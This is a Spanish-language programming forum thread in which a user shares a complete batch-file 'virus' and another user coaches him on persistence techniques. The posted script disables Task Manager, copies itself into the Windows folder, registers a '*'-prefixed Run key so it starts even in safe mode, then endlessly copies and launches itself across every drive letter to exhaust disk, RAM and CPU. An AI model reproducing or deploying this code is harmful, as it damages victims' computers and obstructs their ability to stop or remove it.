Variables en BATCH

Iniciado por crazykenny, 18 Enero 2014, 21:49 PM

0 Miembros y 1 Visitante están viendo este tema.

Eleкtro

#10
Cita de: crazykenny en 19 Enero 2014, 17:03 PM¿os parecería bien si aporto dicho código en la sección de análisis y diseño de malware, ya que estamos?.

Eres libre de decidir donde postear dicho aporte, pero si quieres mi opinión (y consejo), no lo postees en la sección de análisis de Malware, pues aunque tu todavía no te des cuenta de ello Batch no se puede considerar un lenguaje de programación, mucho menos una herramienta de Malwara o de virus, postear códigos Batch en la sección de Malwarw sería algo que suelen hacer los más noobs (no te insulto ni tampoco intento ofender, sólamente te intento explicar los motivos), si tienes un código escrito en Batch, lo más correcto sería que lo posteases aquí, pero como ya digo, eres libre de tomar esa decisión.

PD: Quizás este aporte te ayude a conocer otras formas de hacer bombas lógicas en Batch como el copiado masivo de archivos ~> by Elektro - Virulator 1.0c

Saludos!








crazykenny

Cita de: Eleкtro en 19 Enero 2014, 17:19 PM
Eres libre de decidir donde postear dicho aporte, pero si quieres mi opinión (y consejo), no lo postees en la sección de análisis de Malware, pues aunque tu todavía no te des cuenta de ello Batch no se puede considerar un lenguaje de programación, mucho menos una herramienta de Malwara o de virus, postear códigos Batch en la sección de Malwara sería algo que suelen hacer los más noobs (no te insulto ni tampoco intento ofender, sólamente te intento explicar los motivos), si tienes un código escrito en Batch, lo más correcto sería que lo posteases aquí, pero como ya digo, eres libre de tomar esa decisión.

PD: Quizás este aporte te ayude a conocer otras formas de hacer bombas lógicas en Batch como el copiado masicvo de archivos ~> by Elektro - Virulator 1.0c

Saludos!

Entiendo, y muchas gracias por tu respuesta, Elecktro, y no te preocupes, que lo que has comentado no me molesta en ningún sentido todo lo que has comentado en tu mensaje.
Por otra parte, te agradezco el enlace, ahora mismo lo miro.
Dicho sea de paso, y, si no es molestia, claro esta, y, dado el caso, quisiera aprovechar para preguntar aquí lo que tenia en mente preguntar en la sección de Malware (dado el caso, claro esta).
Entonces, el caso es que he observado el hecho de que algunos virus es posible que se ejecuten automáticamente al insertar un pendrive con estos en un ordenador, y, por otra parte, el hecho de que un virus se ejecute al arrancar un ordenador, encontrando lo siguiente;

-Para hacer que un virus se ejecute al arrancar el ordenador, hay que modificar el registro de Windows y/o bien hacer que este virus se copie automáticamente en una determinada carpeta del ordenador (la cual se llamaba "inicio", creo recordar).

-Para que un virus se ejecute al conectar un pendrive al ordenador, ha de existir un archivo llamado "autorun.ini", cuyo contenido es algo asi como "OPEN=nombredelarchivo.bat".

Entonces, en el primer caso, y, aun habiendo encontrado en este foro y/o a través de Google cierto código que realizaba lo mencionado, pues, francamente, no he acabado de entender acerca de como funciona, motivo por el cual, y, si no es molestia, claro esta, quisiera solicitar el hecho de saber como funciona el código en cuestión, y, por otra parte, un ejemplo de este a incluir en un archivo ".bat" para que se ejecute al iniciar Windows.
Por otra parte, y, en lo segundo, creo haber entendido que con el archivo "autorun.ini", es posible deshabilitar y/o modificar ciertas opciones en Windows (la cual, por cierto, viene por defecto "inhabilitada" -u algo asi- a partir de Windows 7 y SO mas modernos de Microsoft) para evitar ejecutar dicho archivo, con el consiguiente impedimento para ejecutar el archivo ".bat".
Entonces, con esto que he comentado de la segunda opción, quisiera preguntaros si existe una alternativa al "autorun.ini" para ejecutar archivos ".bat" de forma automática al conectar un pendrive a un ordenador.
Por ultimo, y, ya que estamos, creo que he comentado mi intención de publicar el código, el cual, y, aun faltando por poner en dicho código el hecho de buscar cada unidad por su letra, quisiera publicar el código a ver que os parece.

SET varb=abreme
SET varc=.bat
:copias
SET var=C:\
SET varb=%varb%1
SET varb=%varb%1
SET vard=%var%%varb%%varc%
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
goto copias

Evidentemente, el código en cuestión lo que realiza es copiarse a si mismo (pero con diferente nombre) en la unidad C:\ y ejecutar su copia nada mas realizarla de forma indefinida, provocando el hecho de llenar dicha unidad con sus copias, y, de paso, consumir RAM y CPU indefinidamente sin que el usuario pueda hacer gran cosa.
Muchas gracias por vuestra atención.
Saludos.
A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos.
Se responsable, consecuente y da ejemplo.
http://informaticayotrostemas.blogspot.com.es/2013/12/situacion-de-la-educacion-actual-en.html
https://informaticayotrostemas.blogspot.com/

Eleкtro

#12
Bien, vamos por partes

Lo primero de todo, el método de autoejecutar un archivo desde un pendrive es algo prehistórico ya que a partir de Windows vista (o fue desde windows 7, no recuerdo bien) quedó totálmente obsoleto, Microsoft eliminó por completo la capacidad de poder ejecutar un autorun desde un dispositivo extraible por los motivos de seguridad que ya te puedes imaginar, así que en estos tiempos que corren solo puedes escribir un autorun para dispositivos de CD-ROM.

...Aunque, por otro lado, habian (no se si aún existen) dispositivos USB que su hardware se hacia pasar por un dispositivo de CDROM, pudiendo así engañar al sistema Windows para iniciar un autorun desde ese pendrive "camaleónico". para que te hagas una idea, como esos USB de los chinos de eBay que dicen tener más capacidad de almacenamiento de la que reálmente tienen.

En resumen, el autorun solo te va a servir para los que usen Windows XP o inferior, no vale la pena experimentar con métodos antiguos.




Bien, sobre autoejecutar un archivo desde el registro, debes saber dos cosas importantes:

1. Es un método facil y efectivo, lo que implica que a su vez sea igual de facil de detectar como mirar en la lista de procesos que se ejecutan al inicio de Windows, e igual de facil es de eliminar.

2. La mayoría de gente que usa esa técnica no saben que tiene sus limitaciones, la limitación más grande es que este archivo no se podrá ejecutar si el usuario inicia sesión en modo seguro, claro ...eso es lo que pasa si se juega a hacer "virus" sin nisiquiera conocer apenas como funciona un sistema operativo. aunque esto se puede llegar a conseguir de forma facil.


A continuación te detallaré (no mucho) los dos puntos improtantes que acabo de mencionar:

1.
El registro de windows proporciona una clave para indicar ciertos archivos que se deben ejecutar al inicio del sistema,
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

La raíz HKEY_LOCAL_MACHINE (también conocida como HKLM) hace referencia a todos los usuarios del sistema, es decir, si añades la subclave para iniciar tu programa en esa clave, tu programa se iniciará en la sesión de todos los usuarios.

La raíz HKEY_CURRENT_USER (también conocida como HKCU) hace referencia a la sesión del usuario actual, es decir, si añades tu programa ahí se iniciará solamente en la sesión del usuario actual.

Aquí puedes ver varios ejemplos de como añadir un programa a esta clave, usando Batch:

Código (dos) [Seleccionar]

:: Converted with REG2BAT v2.1 by Elektro

@Echo OFF

REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Hot Corners" /T "REG_SZ" /D "Wscript.exe \"C:\Program Files (x86)\Hot Corners\RUN.vbs"" /F
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "MiniBin" /T "REG_SZ" /D "C:\Program Files (x86)\MiniBin\minibin.exe" /F
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Rocket Dock" /T "REG_SZ" /D "C:\Program Files (x86)\RocketDock\RocketDock.exe" /F
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Sidebar" /T "REG_SZ" /D "C:\Program Files\Windows Sidebar\sidebar.exe /autoRun" /F
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Sizer" /T "REG_SZ" /D "C:\Program Files (x86)\Sizer\Sizer.exe" /F
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "Automatic wallpaper Changer" /T "REG_SZ" /D "C:\Program Files\Automatic Wallpaper Changer\Automatic wallpaper Changer.exe" /F


Examinemos una orden cualquiera del script que he msotrado:
Cita de: Elektro
Código (dos) [Seleccionar]
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "MiniBin" /T "REG_SZ" /D "C:\Program Files (x86)\MiniBin\minibin.exe" /F

El valor del parámetro ADD del comando REG es HKCU\Software\Microsoft\Windows\CurrentVersion\Run, esto indica la subclave donde agregar el nuevo valor.

El valor del parámetro /V (o Value) indica el nomrbe del nuevo valor, en este caso MiniBin

El valor del parámetro /T (o Type) indica el tipo de datos del valor (pues puede ser un valor de tipo String, o binario, etc) en este caso es REG_SZ que hace referencia a tipo String (texto) y es el valor por defecto (es decir, no es necesario especiicar el parámetro /T si los datos son de tipo texto).

Y por último, el valor del parámetro /D (o Data) indica los datos del valor, en este caso es la ubicación del programa que queremos ejecutar C:\Program Files (x86)\MiniBin\minibin.exe

Como nota adicional, puedes usar variables de entorno ( %WINDIR%,  %APPDATA%, etc) si estableces el tipo de subclave a REG_EXPAND_SZ, si el valor es de tipo REG_SZ no te va a funcionar la variable de entorno que escribas (adentro de los datos del valor me refiero, no en el script Batch).




2.
Ya sabes como añadir tu programa al inicio de Windows, ahora, ¿Como evitar que el programa no se inicie en modo seguro?

Bueno, por pura lógica si Windows tiene un modo de inicio que se denomina "Modo seguro", es por una buena razón, ya que sólamente se cargan los drivers y otros elementos esenciales del sistema operativo, omitiendo así cualquier programa innecesario al cargar windows, como por ejemplo, los programas que agreguemos al registro para que se ejecuten al inicio de sesión.

Pero esto es algo tan sencillo de evitar como añadir el símbolo * al nombre del valor, por ejemplo:

Código (dos) [Seleccionar]
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /V "*Programa" /T "REG_SZ" /D "C:\MiPrograma.exe" /F

El prefijo * se denomina WildCard, en casi todos los comandos de Batch se suele utilizar para indicar un conjunto de varios elementos (por ejemplo, si tenemos un archivo que se llama Archivo1.txt y otro archivo que se llama Archivo2.txt, podemos recopilar todos los archivos utilizando la expresión Archivo*.txt), y en este caso indica que el programa debe seguir ejecutandose incluso en modo seguro en todos los modos de inicio del sistema.

Y creo que con esto, ya queda todo dicho.

Si tienes dudas pregunta.

Saludos








crazykenny

Entiendo, y muchas gracias por tu explicación Elektro.
Por ultimo, y, si no es mucho pedir y/o mucha molestia, claro esta, ¿podría utilizar los datos que has expuesto y/o los comandos del administrador de tareas que hay indicados en el enlace del otro mensaje que has puesto?.
A ver, y, insisto, no lo digo con animo de ofender, ni faltar al respeto, ni nada por el estilo, pero, y aunque no tengo ningún tipo de intención de perjudicar a nadie con lo aprendido dentro de este foro ni con el programa en cuestión, toda esta información me resulta muy útil para experimentar y probar cosas nuevas en un ordenador aparte que tengo aquí y que falla de vez en cuando.
Por ultimo, y, si se me permite la pregunta, claro esta, ¿Qué métodos hay para que un virus se ejecute automáticamente al entrar el pendrive donde esta almacenado en un ordenador? (aparte del autorun.ini claro esta).
Muchas gracias por vuestra atención.
Saludos.
A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos.
Se responsable, consecuente y da ejemplo.
http://informaticayotrostemas.blogspot.com.es/2013/12/situacion-de-la-educacion-actual-en.html
https://informaticayotrostemas.blogspot.com/

Eleкtro

#14
Cita de: crazykenny en 19 Enero 2014, 19:26 PM
Por ultimo, y, si no es mucho pedir y/o mucha molestia, claro esta, ¿podría utilizar los datos que has expuesto y/o los comandos del administrador de tareas que hay indicados en el enlace del otro mensaje que has puesto?.

No se exáctamente a que otro mensaje te refieres, pero si, sea como sea ...claro que puedes.

Si, claro que puedes usar lo que te haya interesado del script del Virulator.


Cita de: crazykenny en 19 Enero 2014, 19:26 PM¿Qué métodos hay para que un virus se ejecute automáticamente al entrar el pendrive donde esta almacenado en un ordenador? (aparte del autorun.ini claro esta).

La cuestión es que (en Windows 7 y 8, supongo que te refieres a eso) no existe ningún método por software, la característica AutoRun está complétamente deshabilitada en Windows, no existe, por ende no hay nada que puedas lograr.

EDITO: Y el único modo en WinXP es usar el Autorun.ini, que además hay que tener en cuenta que el servicio de AutoPlay debe estar activado en el sistema donde se ejecute ese Pendrive, cosa que depende únicamente del usuario de ese PC y puede desactivar en cualquier momento o cambiar los parámetros para no ejecutar los autoruns en dispositivos extraibles.

Encontré un USB camaleónico por si te interesa (aunque el método es bastante distinto a lo que comenté de hacerse pasar por un CDROM):
~> Custom USB sticks bypassing Windows 7/8′s AutoRun protection

Saludos!








crazykenny

#15
Entiendo, y muchas gracias por tus respuestas y toda la ayuda que me has ofrecido tanto tu como los demás compañeros del foro para poder realizar el programa en cuestión, el cual quisiera aprovechar para compartir con vosotros ya que estamos, aunque también acepto cualquier tipo de critica (tanto positiva como negativa) dado que es el primer código que he hecho en Batch y demás cosas, y, bueno, espero que os pueda ser de utilidad dado el caso.
Entonces, y, aunque he hecho varios códigos del programa, quisiera pasaros el ultimo que he hecho y que "creo" que puede dar mas problemas dado el caso;

Código (DOS) [Seleccionar]

reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
SET varb=abreme
SET varc=.bat
vart=%varb%%varc%
vary=%WINDIR%
varz=%vary%%vart%
if exist %varz% goto copias
copy /Y %0 "%WINDIR%\" >NUL 2>&1
Reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V "*WindowsMachineSubProcess" /D "%WINDIR%\%~n0.bat" /F >NUL 2>&1
:copias
SET varb=%varb%1
SET var=A:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Bdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Bdir
SET var=B:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Cdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Cdir
SET var=C:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ddir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ddir
SET var=D:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Edir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Edir
SET var=E:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Fdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Fdir
SET var=F:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Gdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Gdir
SET var=G:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Hdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Hdir
SET var=H:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Idir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Idir
SET var=I:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Jdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Jdir
SET var=J:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Kdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Kdir
SET var=K:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ldir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ldir
SET var=L:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Mdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Mdir
SET var=M:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ndir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ndir
SET var=N:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Odir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Odir
SET var=O:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Pdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Pdir
SET var=P:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Qdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Qdir
SET var=Q:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Rdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Rdir
SET var=R:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Sdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Sdir
SET var=S:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Tdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Tdir
SET var=T:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Udir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Udir
SET var=U:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Wdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Wdir
SET var=W:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Xdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Xdir
SET var=X:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Ydir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Ydir
SET var=Y:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :Zdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:Zdir
SET var=Z:\
SET vard=%var%%varb%%varc%
if not exist %var% goto :ZZdir
if not exist %vard% copy %0 %vard%
if exist %vard% start %vard%
:ZZdir
goto copias
pause
exit


Muchas gracias por vuestra atención.
Saludos.
A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos.
Se responsable, consecuente y da ejemplo.
http://informaticayotrostemas.blogspot.com.es/2013/12/situacion-de-la-educacion-actual-en.html
https://informaticayotrostemas.blogspot.com/

andetsom

debo guardar el archivo con .bat?

crazykenny

#17
Hola, andetsom; francamente, no se si quieres ejecutarlo (o no) en tu ordenador, pero si lo que quieres es ejecutar el código que he puesto, no te lo recomiendo ya que puedes tener problemas en tu ordenador incluso cada vez que inicies Windows, aunque, si quieres ejecutarlo, mejor hazlo en una maquina virtual (u algo asi) en caso de que quieras experimentar con el.
Dicho sea de paso, esto te lo comento mas que nada en caso de que quieras ejecutar el código dentro de tu ordenador (u algo asi) sin utilizar maquinas virtuales (entre otras cosas).
Muchas gracias por vuestra atención.
Saludos.
EDITO; acabo de mirar una cosa, y veo que tu pusiste un tema en "dudas generales" sobre un tema de scripting.
Entonces, mi recomendación es que no te centres en este código, sino en las respuestas aquí expuestas para encontrar lo que buscas.
A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos.
Se responsable, consecuente y da ejemplo.
http://informaticayotrostemas.blogspot.com.es/2013/12/situacion-de-la-educacion-actual-en.html
https://informaticayotrostemas.blogspot.com/